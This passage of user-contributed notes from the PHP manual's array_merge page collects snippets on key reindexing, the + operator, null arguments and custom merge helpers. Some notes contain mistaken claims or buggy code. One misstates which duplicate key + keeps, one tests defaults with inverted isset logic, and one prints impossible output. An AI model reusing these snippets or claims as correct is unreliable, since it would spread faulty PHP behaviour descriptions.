// - duplicate numeral keys are appended and keys are reindexed
// - new keys inserted at the end
array_merge( $n1, $n2 );
?>
array(6) {
  [0]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  [2]=>
  string(3) "baz"
  [3]=>
  string(5) "lorem"
  [4]=>
  string(5) "ipsum"
  [5]=>
  string(3) "foo"
}

<?php
$a1 = array('f' => 'foo', 'b' => 'bar', 'q' => 'quux');
$a2 = array('l' => 'lorem', 'i' => 'ipsum', 'f' => 'facilisis');

// array plus:
// - duplicate associative array keys ignored, not overwriting
// - new keys inserted at the end
$a1 + $a2;
?>
array(5) {
  ["f"]=>
  string(3) "foo"
  ["b"]=>
  string(3) "bar"
  ["q"]=>
  string(4) "quux"
  ["l"]=>
  string(5) "lorem"
  ["i"]=>
  string(5) "ipsum"
}

<?php

// array plus:
// - replacements are done at the original position
// - new keys inserted at the end
array_merge( $a1, $a2 )
?>
array(5) {
  ["f"]=>
  string(9) "facilisis"
  ["b"]=>
  string(3) "bar"
  ["q"]=>
  string(4) "quux"
  ["l"]=>
  string(5) "lorem"
  ["i"]=>
  string(5) "ipsum"
}
eithed sth gmail sth com 06-Jul-2011 07:03
I'm sorry, but I've not found on this page a function that would properly merge two arrays while overwriting numeric values.

Considering two arrays:

<?php
$test1 = array(array('a','b','c'), 'a', 'b');
$test2 = array(array('d','e'), 'c');
?>

while using overwrite merge you would expect the result to be an array:
<?php $test3 = array(array('d','e'), 'c', 'b'); ?>

However most of the functions will result with this array:
<?php $test4 = array(array('d','e','c'), 'c', 'b'); ?>

So, here's a function to do that:

<?php
function array_merge_overwrite(array &$array1, array $array2 = NULL)
{
    $flag = true;
    foreach (array_keys($array2) as $key)
    {
        if (isset($array2[$key]) && is_array($array2[$key]))
        {
            if (isset($array1[$key]) && is_array($array1[$key]))
                array_merge_overwrite($array1[$key], $array2[$key]);
            else
                $array1[$key] = $array2[$key];

            $flag = false;
        }
    }

    if ($flag == true)
        $array1 = $array2;
}
?>
japicoder-NOSPAM at gmail dot com 16-Mar-2011 06:20
If you need to add the same array N times (with the same keys, of course) to an existing array, array_merge() will not work because of the same keys. The plus operator (+) still doesn't resolve the problem because of the keys.

Example:

<?php
$args = array();

for($i=0; $i < 3; $i++) {
   $args += array('first', 'second', 'three', 'four');
}

print_r($args);
?>

Will give you:

array(
  [0] => 'first'
  [1] => 'second'
  [2] => 'three'
  [3] => 'four'
)

The solution is to play with the first key of the array you are adding:

<?php
$args = array();

for($i=0; $i < 3; $i++) {
   $args += array(sizeof($args)+1 => 'first', 'second', 'three', 'four');
}

print_r($args);
?>

Now it is added as expected:

array(
  [0] => 'first'
  [1] => 'second'
  [2] => 'three'
  [3] => 'four'
  [4] => 'first'
  [5] => 'second'
  [6] => 'three'
  [7] => 'four'
  [8] => 'first'
  [9] => 'second'
  [10] => 'three'
  [11] => 'four'
)
craig ala craigatx.com 26-Oct-2010 10:25
Reiterating the notes about casting to arrays, be sure to cast if one of the arrays might be null:

<?php
header("Content-type:text/plain");
$a = array('zzzz', 'xxxx');
$b = array('mmmm','nnnn');

echo "1 ==============\r\n";
print_r(array_merge($a, $b));

echo "2 ==============\r\n";
$b = array();
print_r(array_merge($a, $b));

echo "3 ==============\r\n";
$b = null;
print_r(array_merge($a, $b));

echo "4 ==============\r\n";
$b = null;
print_r(array_merge($a, (array)$b));

echo "5 ==============\r\n";
echo is_null(array_merge($a, $b)) ? 'Result is null' : 'Result is not null';
?>

Produces:

1 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
    [2] => mmmm
    [3] => nnnn
)
2 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
3 ==============
4 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
5 ==============
Result is null
nzujev [AT] gmail [DOT] com 03-Oct-2010 02:28
Be ready to surprise like this one.
array_merge renumbers numeric keys even if key is as string.
keys '1' & '2' will be updated to 0 & 1, but '1.1' & '1.2' remain the same, but they are numeric too (is_numeric('1.1') -> true)

It's better to use '+' operator or to have your own implementation for array_merge.

<?php

$x1 = array (
    '1'     => 'Value 1',
    '1.1'   => 'Value 1.1',
);

$x2 = array (
    '2'     => 'Value 2',
    '2.1'   => 'Value 2.1',
);

$x3 = array_merge( $x1, $x2 );

echo '<pre>NOT as expected: '. print_r( $x3, true ) .'</pre>';

$x3 = $x1 + $x2;

echo '<pre>As expected: '. print_r( $x3, true ) .'</pre>';

?>

NOT as expected: Array
(
    [0] => Value 1
    [1.1] => Value 1.1
    [1] => Value 2
    [2.1] => Value 2.1
)
As expected: Array
(
    [1] => Value 1
    [1.1] => Value 1.1
    [2] => Value 2
    [2.1] => Value 2.1
)
zagadka at evorg dot dk 20-Aug-2010 05:54
Note that if you use + to merge array in order to preserve keys, that in case of duplicates the values from the left array in the addition is used.
jpakin at gmail dot com 11-Jun-2010 11:46
I had a hard time using array_merge with large datasets. By the time my web framework was in memory there wasn't enough space to have multiple copies of my dataset. To fix this I had to remove any functions which operated on the data set and made a copy in memory (pass by value).

I realize the available memory to an application instance is modifiable, but I didn't think I should have to set it below the default 16mb for a web app!

Unfortunately, a number of php functions pass by value internally, so I had to write my own merge function. This passes by reference, utilizes a fast while loop (thus doesn't need to call count() to get an upper boundary, also a php pass by value culprit), and unsets the copy array (freeing memory as it goes).

<?php

function mergeArrays(&$sourceArray, &$copyArray){
        //merge copy array into source array
                $i = 0;
        while (isset($copyArray[$i])){
            $sourceArray[] = $copyArray[$i];
            unset($copyArray[$i]);
            $i++;
        }
    }
?>

This fixed the problem. I would love to know if there is an even faster, more efficient way. Simply adding the two arrays won't work since there is an overlap of index.
me at cafuego dot net 20-May-2010 09:49
This function merges two arrays into one, alternating between the two arrays. Given:

$one = array('apple', 'pear');
$two = array('blue', 'red');
$output = array();
array_merge_zipper(&$output, $one, $two, TRUE);

$output would be:

array(
  0 => 'apple',
  1 => 'blue',
  2 => 'pear',
  3 => 'red'
);

The $same_size flag is to note whether both input arrays contain the same number of items. If not, setting the flag to FALSE will make the function merge up to the number of items in the smallest of the two input arrays.

<?php
function array_merge_zipper(&$output, $one = array(), $two = array(), $same_size= TRUE) {

  if ($same_size) {
    // Return FALSE if the arrays differ in size.
    if (count($one) != count($two))
      return FALSE;
    $number = count($one);
  } else {
    // Count as high as the smallest array.
    $number = min(count($one), count($two));
  }

  // Empty the output array.
  $output = array();

  // Merge.
  for ($i = 0; $i < $number; $i++) {
    $output[] = $one[$i];
    $output[] = $two[$i];
  }

  // Return success.
  return TRUE;
}
?>

The following function does essentially the same, but preserves array keys. It'll return FALSE if the input arrays share a key between them or if the  arrays differ in size.

<?php
function array_merge_zipper_key(&$output, $one = array(), $two = array()) {
  // Return FALSE if the arrays differ in size.
  if (count($one) != count($two))
    return FALSE;

  // Returns FALSE if the arrays share a key.
  if (count(array_keys_intersect($one, $two)))
    return FALSE;

  // Empty the output array.
  $output = array();

  // keys!
  $one_keys = array_keys($one);
  $two_keys = array_keys($two);

  // Merge.
  for ($i = 0; $i < count($one); $i++) {
    $output[$one_keys[$i]] = $one[$one_keys[$i]];
    $output[$two_keys[$i]] = $two[$two_keys[$i]];
  }

  // Return success.
  return TRUE;
}
nekroshorume at gmail dot com 18-Mar-2010 10:31
be aware there is a slight difference:

<?php
$array1 = array('lang'=>'js','method'=>'GET');
$array2 = array('lang'=>'php','browser'=>'opera','method'=>'POST');
?>

BETWEEN:

<?php array_merge($array2,$array1); ?>
outputs: Array ( [lang] => js [browser] => opera [method] => GET )

notice that the repeated keys will be overwritten by the ones of $array1, maintaining those, because it is the array that is being merged

AND

<?php array_merge($array1,$array2); ?>
outputs: Array ( [lang] => php [method] => POST [browser] => opera )

here the oposite takes place: array1 will have its elements replaced by those of array2.
riddlemd at gmail dot com 22-Jan-2010 12:43
Apparently there is a shorthand that works very much like array_merge. I figured I would leave a comment here, sense I saw it used in code but found nothing about it from google searches.

<?php
$array = array(
 'name' => 'John Doe'
);
$array += array(
 'address' => 'someplace somestreet'
);

echo $array['address']; // Outputs 'someplace somestreet'
?>

A difference from merge_array, it does NOT overwrite existing keys, regardless of key type.
Amund 24-Dec-2009 09:23
"Extend" recursively array $a with array $b values (no deletion in $a, just added and updated values)

<?php
function array_extend($a, $b) {
    foreach($b as $k=>$v) {
        if( is_array($v) ) {
            if( !isset($a[$k]) ) {
                $a[$k] = $v;
            } else {
                $a[$k] = array_extend($a[$k], $v);
            }
        } else {
            $a[$k] = $v;
        }
    }
    return $a;
}
?>
randallgirard at hotmail dot com 16-Dec-2009 02:16
I am in the middle of recoding a very complex CMS I wrote in the past, and I often used array_merge() to determine default values (example: paths, keys which refer to objects elsewhere, etc).

I was trying to decide if I should use array_merge or individual calls to isset in combination with an $opts array, to supply default values in functions. For example, here would be two simple examples:

<?php
function foo( array $opts = array() ) {
    if ( isset($opts['val1']) ) $opts['val1'] = 'value';
    if ( isset($opts['val2']) ) $opts['val2'] = 'value';
    if ( isset($opts['val3']) ) $opts['val3'] = 'value';
#    ... continue coding
}
function bar( array $opts = array() ) {
    $opts = array_merge( array(
        'val1' => 'value',
        'val2' => 'value',
        'val3' => 'value',
    ), $opts);
#    ... continue coding
}
?>

Hypothesis: isset() will be dramatically faster in both circumstances, as benchmarks I have performed in the past usually demonstrate that array iterations are typically slow and should be avoided when and where possible. (ex: using strrpos and substr rather than explode and array_pop to get a file name from a path, of course you can just use basename() but this is just for explanation purposes)

---

I performed numerous benchmarks using loops, and then hard-coded examples and got fairly similar results. My four focus points however, were supplying the values in the $opts array, and not supplying the values, with both methods.

Calls to isset() WITH the values supplied was ALWAYS the fastest (which makes sense, as no assignments are made)

Calls to isset() WITH the values supplied, and array_merge() with NO values set came very close in times, and fluctuated which was faster or slower...
(This surprised me as I expected that working with array_merge would simply take more time; But also makes sense as I think about it more as you are still utilizing an array and array_merge is probably making isset() calls in itself)

Calls to array_merge() with NO values supplied was always the SLOWEST. (which also makes sense, because all values are replaced)

---

Conclusion: Calls to isset() are faster than using array_merge(); But not by much. However, the more values supplied when calling the function determine how much closer the execution time will take. Therefor, with this type of functionality in mind, supplying DEFAULT values mean often NO, SOME, or ALL values will be included when calling the function...

Because I am worried about the execution time over easy / less code, I'll stick with the isset() method of supplying default values to an array.

---

Now that the test results are in, I thought I would share as I spent quite a bit of time testing and going over results.
allankelly 02-Oct-2009 08:36
More on the union (+) operator:
the order of arrays is important and does not agree in my test below
with the other posts. The 'unique' operation preserves the initial key-value and discards later duplicates.

PHP 5.2.6-2ubuntu4.2

<?php
$a1=array('12345'=>'a', '23456'=>'b', '34567'=>'c', '45678'=>'d');
$a2=array('34567'=>'X');
$a3=$a1 + $a2;
$a4=$a2 + $a1;
print('a1:'); print_r($a1);
print('a2:'); print_r($a2);
print('a3:'); print_r($a3);
print('a4:'); print_r($a4);
?>

a1:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a2:Array
(
    [34567] => X
)
a3:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a4:Array
(
    [34567] => X
    [12345] => a
    [23456] => b
    [45678] => d
)
Tudor 27-Sep-2009 01:10
array_merge will merge numeric keys in array iteration order, not in increasing numeric order. For example:

<?php
$a = array(0=>10, 1=>20);  // same as array(10, 20);
$b = array(0=>30, 2=>50, 1=>40);
?>

array_merge($a, $b) will be array(10, 20, 30, 50, 40) and not array(10, 20, 30, 40, 50).
Julian Egelstaff 16-Aug-2009 01:02
More about the union operator (+)...

The "array_unique" that gets applied, is actually based on the keys, not the values.  So if you have multiple values with the same key, only the last one will be preserved.

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[0] = 0;
$array1[1] = 1;

$array3 = $array1 + $array2;

// array3 will look like:
// array(0=>0, 1=>1)
// ie: beware of the latter keys overwriting the former keys

?>
Julian Egelstaff 30-Jul-2009 11:48
In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.

ie:

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[1] = "one";
$array2[2] = "two";
$array2[3] = "three";

$array3 = $array1 + $array2;

//This will result in::

$array3 = array(0=>"zero", 1=>"one", 2=>"two", 3=>"three");

?>

Note the implicit "array_unique" that gets applied as well.  In some situations where your numeric keys matter, this behaviour could be useful, and better than array_merge.

--Julian
enaeseth at gmail dot com 20-Jul-2009 02:27
In both PHP 4 and 5, array_merge preserves references in array values. For example:

<?php
$foo = 12;
$array = array("foo" => &$foo);
$merged_array = array_merge($array, array("bar" => "baz"));
$merged_array["foo"] = 24;
assert($foo === 24); // works just fine
?>
rossrevisited at googlemail dot com 07-Apr-2009 12:58
I was looking to merge two associative arrays together, adding the values together if the keys were the same. If there were keys unique to either array, these would be added into the merged array with their existing values.

I couldnt find a function to do this, so made this:

<?php
    function merge($array1, $array2)
    {

        if(sizeof($array1)>sizeof($array2))
        {
            echo $size = sizeof($array1);
        }else{
            $a = $array1;
            $array1 = $array2;
            $array2 = $a;

            echo $size = sizeof($array1);
        }

        $keys2 = array_keys($array2);

        for($i = 0;$i<$size;$i++)
        {
            $array1[$keys2[$i]] = $array1[$keys2[$i]] + $array2[$keys2[$i]];
        }

        $array1 = array_filter($array1);
        return $array1;
    }

?>

Enter in two arrays to the function, then the output will be both arrays merged together with values added if keys are the same.
jerry at gii dot co dot jp 12-Mar-2009 07:35
There was a previous note that alluded to this, but at least in version 5.2.4 array_merge will return NULL if any of the arguments are NULL. This bit me with $_POST when none of the controls were successful.
luke at cywh dot com 10-Mar-2009 03:46
The "array_merge_recursive" did not work exactly the way I wanted it to, so I wrote these functions. I have it under "array_merge" simply because I also have a non-recursive version as well. Took me hours to get this right, so hopefully this helps someone else.

array array_mix(array $array1 [, array $array2 [, array $... ]])

Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array.

If the new value is not an array then the value gets turned into a new numerically indexed array containing the original value and the new value. Three or more occurrences get appended to the new array.

If the new value is an array, then the original value gets overwritten with the new one.

This function works exactly the same for both string and numeric based keys.

Example:

<?php
$array_a = array(
    'one' => array(
        'a1', 'a2', 'a3'
    ),
    'four' => 'one'
);

$array_b = array(
    'one' => array(
        'b1', 'b2', 'b3'
    ),
    'four' => 'two'
);

print_r(array_mix($array_a, $array_b, $array_c));
?>

See output. Notice the difference between array_mix and array_merge.

array array_mix_recursive(array $array1 [, array $array2 [, array $... ]])

Works exactly the same as "array_mix", with one exception:

If the new value is an array then array_mix is done recursively.

Example:

<?php

$array_a = array(
    'one' => array(
        'a1', 'a2', 'a3'
    ),
    'three' => array(
        'i' => 'A1', 'ii' => 'A2', 'iii' => 'A3'
    ),
    'four' => 'one'
);

$array_b = array(
    'one' => array(
        'b1', 'b2', 'b3'
    ),
    'three' => array(
        'i' => 'B1', 'ii' => 'B2', 'iii' => array('one', 'two', 'three')
    ),
    'four' => 'two'
);

print_r(array_mix_recursive($array_a, $array_b));

?>

See output.

This function works very similar to array_merge_recursive, with this obvious exception: Numeric keys are treated just like string keys.

CODE:

<?php
function array_mix() {
    $array = array();
    $arrays = func_get_args();

    foreach($arrays as $array_i) if(is_array($array_i))
        $array = array_mixer($array, $array_i);

    return $array;
}

function array_mix_recursive() {
    $array = array();
    $arrays = func_get_args();

    foreach($arrays as $array_i) if(is_array($array_i))
        $array = array_mixer($array, $array_i, true);

    return $array;
}

function array_mixer($array_o, $array_i, $recursive=false) {
    foreach($array_i as $k => $v) {
        if(! isset($array_o[$k])) {
            $array_o[$k] = $v;
        } else {
            if(is_array($array_o[$k])) {
                if(is_array($v)) {
                    if($recursive) $array_o[$k] = array_mixer($array_o[$k], $v);
                    else $array_o[$k] = $v;
                } else $array_o[$k][] = $v;
            } else {
                if(! isset($array_o[$k])) {
                    $array_o[$k] = $v;
                } else {
                    $array_o[$k] = array($array_o[$k]);
                    $array_o[$k][] = $v;
                }
            }
        }
    }

    return $array_o;
}
?>
a dot pipkin at skylermedia dot com 07-Mar-2009 08:33
I needed to merge two arrays while keeping the first arrays format and adding the values, if they exist, from the second array. I was working with several multidimensional arrays and was using one as the primary structure to insert data into a database. This is what I made. I hope it helps.
<?php
    function array_overlay($a1,$a2)
    {
        foreach($a1 as $k => $v) {
            if(!array_key_exists($k,$a2)) continue;
            if(is_array($v) && is_array($a2[$k])){
                $a1[$k] = array_overlay($v,$a2[$k]);
            }else{
                $a1[$k] = $a2[$k];
            }
        }
        return $a1;
    }
?>

I used it like this:
<?php
    $table = tableDescription(); // created an array of the table structure
    $table = array_overlay($table,$_POST); // writes the values submitted from the array into the table using array names in the form like <input type="text" name="column[Value]" value="" />
?>
carrox at inbox dot lv 31-Aug-2008 04:41
Usage of operand '+' for merging arrays:

<?php

$a=array(
'a'=>'a1',
'b'=>'a2',
'a3',
'a4',
'a5');

$b=array('b1',
'b2',
'a'=>'b3',
'b4');

$a+=$b;

print_r($a);

?>

output:
Array
(
    [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [3] => b5
)

numeric keys of elements of array B what not presented in array A was added.

<?php

$a=array('a'=>'a1','b'=>'a2','a3','a4','a5');
$b=array(100=>'b1','b2','a'=>'b3','b4');

$a+=$b;

print_r($a);

?>

output:

   [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [100] => b1
    [101] => b2
    [102] => b4

autoindex for array B started from 100, these keys not present in array A, so this elements was added to array A
ron at ronfolio dot com 11-Aug-2008 06:44
I needed a function similar to ian at fuzzygroove's array_interlace, but I need to pass more than two arrays.

Here's my version, You can pass any number of arrays and it will interlace and key them properly.

<?php
function array_interlace() {
    $args = func_get_args();
    $total = count($args);

    if($total < 2) {
        return FALSE;
    }

    $i = 0;
    $j = 0;
    $arr = array();

    foreach($args as $arg) {
        foreach($arg as $v) {
            $arr[$j] = $v;
            $j += $total;
        }

        $i++;
        $j = $i;
    }

    ksort($arr);
    return array_values($arr);
}
?>

Example usage:
<?php
$a = array('a', 'b', 'c', 'd');
$b = array('e', 'f', 'g');
$c = array('h', 'i', 'j');
$d = array('k', 'l', 'm', 'n', 'o');

print_r(array_interlace($a, $b, $c, $d));
?>

result:

Array
(
    [0] => a
    [1] => e
    [2] => h
    [3] => k
    [4] => b
    [5] => f
    [6] => i
    [7] => l
    [8] => c
    [9] => g
    [10] => j
    [11] => m
    [12] => d
    [13] => n
    [14] => o
)

Let me know if you improve on it.
david_douard at hotmail dot com 02-Jul-2008 02:41
To avoid REINDEXING issues,

use + operator :

array_merge(
          array("truc" => "salut"),
          array("machin" => "coucou")
        )

returns

array(2)
{
[0] => string() "salut"
[1] => string() "coucou"
}

whereas

array("truc" => "salut") + array("machin" => "coucou")

returns

array(2)
{
["truc"] => string() "salut"
["machin"] => string() "coucou"
}
monkey dot 05 dot 06 at NO SPAM gmail dot com 16-Jun-2008 09:25
I wrote this function to strip one or more arrays to a single one-dimensional array. Keys assigned to individual values are preserved; keys assigned to arrays are not.

<?php
  function array_merge_deep($arr) { // an array-merging function to strip one or more arrays down to a single one dimension array
    $arr = (array)$arr;
    $argc = func_num_args();
    if ($argc != 1) {
      $argv = func_get_args();
      for ($i = 1; $i < $argc; $i++) $arr = array_merge($arr, (array)$argv[$i]);
    }
    $temparr = array();
    foreach($arr as $key => $value) {
      if (is_array($value)) $temparr = array_merge($temparr, array_merge_deep($value));
      else $temparr = array_merge($temparr, array($key => $value));
    }
    return $temparr;
  }
?>

Example:

<?php
  $groceries = array("fruits" => array("apples", "bananas", "cherries", "grapes"), "dry goods" => array("bread", "flour", "yeast"), "dairy" => "milk");
  $groceries = array_merge_deep($groceries);
  echo "<pre>"; print_r($groceries); echo "</pre>";
?>

Yields the following:

Array
(
    [0] => apples
    [1] => bananas
    [2] => cherries
    [3] => grapes
    [4] => bread
    [5] => flour
    [6] => yeast
    [dairy] => milk
)
david dot lay at axlr8 dot com 08-May-2008 06:19
probably simpler versions of this (below) but thought i'd post my solution up as it might be helpful :)

<?php
function array_merge_php4_comp() {
    $n=func_num_args();
    if( $n>0 ) {
        $rval=func_get_arg(0);
        if( !is_array($rval) ) {
            $rval=(array)$rval;
        }
        if( $n>1 ) {
            for( $i=1; $i<$n; $i++ ) {
                $tval=func_get_arg($i);
                if( !is_array($tval) ) {
                    $tval=(array)$tval;
                }
                $rval=array_merge($rval, $tval);
            }
        } else {
            $rval=array_merge($rval);
        }
    } else {
        $rval=array_merge();
    }
    return $rval;
}
?>
ian at fuzzygroove dot com 29-Apr-2008 04:51
I needed a function to interlace two arrays ([a,b,c] + [d,e,f] = [a,d,b,e,c,f]) and came up with the following. This function works for arrays of varying lengths and keeps the keys sequenced properly.

<?php

$a = array ('a', 'b', 'c');
$b = array ('d', 'e', 'f', 'g', 'h', 'i');

$c = array_interlace ($a, $b);
/*
Array
(
    [0] => a
    [1] => d
    [2] => b
    [3] => e
    [4] => c
    [5] => f
    [6] => g
    [7] => h
    [8] => i
)
*/

function array_interlace ($a, $b)
{
    $c = array();

    $shorty = (count($a) > count($b)) ? $b : $a;
    $biggy = (count($a) > count($b)) ? $a : $b;

    $slen = count($shorty);
    $blen = count($biggy);

    for ($i = 0; $i < $slen; ++$i){
        $c[$i * 2] = $a[$i];
        $c[$i * 2 + 1] = $b[$i];
    }

    for ($i = $slen; $i < $blen; ++$i)
    {
        $c[] = $biggy[$i];
    }

    return $c;
}
?>
bishop 04-Apr-2008 02:02
The documentation is a touch misleading when it says: "If only one array is given and the array is numerically indexed, the keys get reindexed in a continuous way."  Even with two arrays, the resulting array is re-indexed:

[bishop@predator staging]$ cat array_merge.php
<?php
$a = array (23 => 'Hello', '42' => 'World');
$a = array_merge(array (0 => 'I say, '), $a);
var_dump($a);
?>
[bishop@predator staging]$ php-5.2.5 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
[bishop@predator staging]$ php-4.4.7 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
no_one at nobody dot com 03-Mar-2008 08:31
PHP is wonderfully decides if an array key could be a number, it is a number!  And thus wipes out the key when you array merge.   Just a warning.

$array1['4000'] = 'Grade 1 Widgets';
$array1['4000a'] = 'Grade A Widgets';
$array2['5830'] = 'Grade 1 Thing-a-jigs';
$array2['HW39393'] = 'Some other widget';

var_dump($array1);
var_dump($array2);

//results in...
array(2) {
  [4000]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
}
array(2) {
  [5830]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}

var_dump(array_merge($array1,$array2));
//results in...
array(4) {
  [0]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
  [1]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}
Hayley Watson 04-Nov-2007 12:38
As has already been noted before, reindexing arrays is most cleanly performed by the array_values() function.
Kevin Campbell 16-Aug-2007 03:33
The notes in Example 257 above are incorrect. It states:

If you want to completely preserve the arrays and just want to append them to each other, use the + operator

Check the array type page at http://www.php.net/manual/en/language.types.array.php which states differently. Duplicate keys are ignored with the + operator.
clancyhood at gmail dot com 21-Jul-2007 04:52
Similar to Jo I had a problem merging arrays (thanks for that Jo you kicked me out of my debugging slumber) - array_merge does NOT act like array_push, as I had anticipated

<?php

$array = array('1', 'hello');
array_push($array, 'world');

var_dump($array);

// gives '1', 'hello', 'world'

$array = array('1', 'hello');
array_merge($array, array('world'));

// gives '1', 'hello'

$array = array('1', 'hello');
$array = array_merge($array, array('world'));

// gives '1', 'hello', 'world'

?>

hope this helps someone
Joe at neosource dot com dot au 03-Jun-2007 11:51
I found the "simple" method of adding arrays behaves differently as described in the documentation in PHP v5.2.0-10.

$array1 + $array2 will only combine entries for keys that don't already exist.

Take the following example:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = ($ar1 + $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
)

Where as:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = array_merge($ar1, $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

Hope this helps someone.
RQuadling at GMail dot com 21-May-2007 05:05
For asteddy at tin dot it and others who are trying to merge arrays and keep the keys, don't forget the simple + operator.

Using the array_merge_keys() function (with a small mod to deal with multiple arguments), provides no difference in output as compared to +.

<?php
$a = array(-1 => 'minus 1');
$b = array(0 => 'nought');
$c = array(0 => 'nought');
var_export(array_merge_keys($a,$b));
var_export($a + $b);
var_export(array_merge_keys($a,$b,$c));
var_export($a + $b + $c);
?>

results in ...

array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
Marce! 02-Mar-2007 04:21
I have been searching for an in-place merge function, but couldn't find one. This function merges two arrays, but leaves the order untouched.
Here it is for all others that want it:

function inplacemerge($a, $b) {
  $result = array();
  $i = $j = 0;
  if (count($a)==0) { return $b; }
  if (count($b)==0) { return $a; }
  while($i < count($a) && $j < count($b)){
    if ($a[$i] <= $b[$j]) {
      $result[] = $a[$i];
      if ($a[$i]==$b[$j]) { $j++; }
      $i++;
    } else {
      $result[] = $b[$j];
      $j++;
    }
  }
  while ($i<count($a)){
    $result[] = $a[$i];
    $i++;
  }
  while ($j<count($b)){
    $result[] = $b[$j];
    $j++;
  }
  return $result;
}
ahigerd at stratitec dot com 24-Jan-2007 06:06
An earlier comment mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
lcvalentine at gmail dot com 21-Jan-2007 10:23
I recently upgrade from PHP4 to PHP5.  While using PHP4, there was a certain set of information that we filtered into the $_SESSION global at login.  i.e.

$_SESSION = array_merge( $_SESSION, $additional_vals );

This method worked great in PHP4, but not in PHP5.  I can only assume the session immediately invalidated itself.

In fact, my tests to find this bug, led me to find out that all session changes - even those before this action - were lost.

DO NOT USE array_merge() FROM $_SESSION AND TO $_SESSION
asteddy at tin dot it 16-Jan-2007 07:51
Sorry, I forgot to translate the the name of the function when it calls itself. Here is the correct code:
<?
/*
IT KEEPS ALL VALUES OF $arr1 AND
ADDS ALL KEYS AND VALUES OF $arr2 THAT ARE NOT IN $arr1
*/
function array_merge_keys($arr1, $arr2) {
    foreach($arr2 as $k=>$v) {
        if (!array_key_exists($k, $arr1)) { //K DOESN'T EXISTS //
            $arr1[$k]=$v;
        }
        else { // K EXISTS //
            if (is_array($v)) { // K IS AN ARRAY //
                $arr1[$k]=array_merge_keys($arr1[$k], $arr2[$k]);
            }
        }
    }
    return $arr1;
}
?>
asteddy at tin dot it 15-Jan-2007 06:06
/*
IT KEEPS ALL VALUES OF $arr1 AND
ADDS ALL KEYS AND VALUES OF $arr2 THAT ARE NOT IN $arr1
*/
function array_merge_keys($arr1, $arr2) {
    foreach($arr2 as $k=>$v) {
        if (!array_key_exists($k, $arr1)) { //K DOESN'T EXISTS //
            $arr1[$k]=$v;
        }
        else { // K EXISTS //
            if (is_array($v)) { // K IS AN ARRAY //
                $arr1[$k]=array_unisci_chiavi($arr1[$k], $arr2[$k]);
            }
        }
    }
    return $arr1;
}
m dot kaczanowski at alianet dot pl 13-Dec-2006 10:47
To: zspencer at zacharyspencer dot com

You forget about code of this function.

<?
function safe_array_merge($a, $b) {
    foreach ($b as $v) {
        $a[] = $v;
    }
    return $a;
}
?>
zspencer at zacharyspencer dot com 09-Nov-2006 08:55
I noticed the lack of a function that will safely merge two arrays without losing data due to duplicate keys but different values.

So I wrote a quicky that would offset duplicate keys and thus preserve their data. of course, this does somewhat mess up association...

<?php
$array1=array('cats'=>'Murder the beasties!', 'ninjas'=>'Use Ninjas to murder cats!');
$array2=array('cats'=>'Cats are fluffy! Hooray for Cats!', 'ninjas'=>'Ninas are mean cat brutalizers!!!');
$array3=safe_array_merge($array1, $array2);
print_r($array3)
/*
Array {
cats => Murder the beasties!,
ninjas => Use ninjas to murder cats!,

?>
cats_0 => Cats are fluffy! Hooray for Cats!,
ninjas_0 => Ninjas are mean cat brutalizers!!!
}

function safe_array_merge ()
{
    $args = func_get_args();
    $result=array();
    foreach($args as &$array)
    {
        foreach($array as $key=>&$value)
        {
            if(isset($result[$key]))
            {
                $continue=TRUE;
                $fake_key=0;
                while($continue==TRUE)
                {
                    if(!isset($result[$key.'_'.$fake_key]))
                    {
                        $result[$key.'_'.$fake_key]=$value;
                        $continue=FALSE;
                    }
                    $fake_key++;
                }
            }
            else
            {
                $result[$key]=$value;
            }
        }
    }
    return $result;
}
?>
01-Nov-2006 06:47
A more efficient array_merge that preserves keys, truly accepts an arbitrary number of arguments, and saves space on the stack (non recursive):
<?php
function array_merge_keys(){
    $args = func_get_args();
    $result = array();
    foreach($args as &$array){
        foreach($array as $key=>&$value){
            $result[$key] = $value;
        }
    }
    return $result;
}
?>
BigueNique at yahoo dot ca 28-Sep-2006 07:10
Needed an quick array_merge clone that preserves the keys:

<?
// function array_join
// merges 2 arrays preserving the keys,
// even if they are numeric (unlike array_merge)
// if 2 keys are identical, the last one overwites
// the existing one, just like array_merge
// merges up to 10 arrays, minimum 2.
function array_join($a1, $a2, $a3=null, $a4=null, $a5=null, $a6=null, $a7=null, $a8=null, $a9=null, $a10=null) {
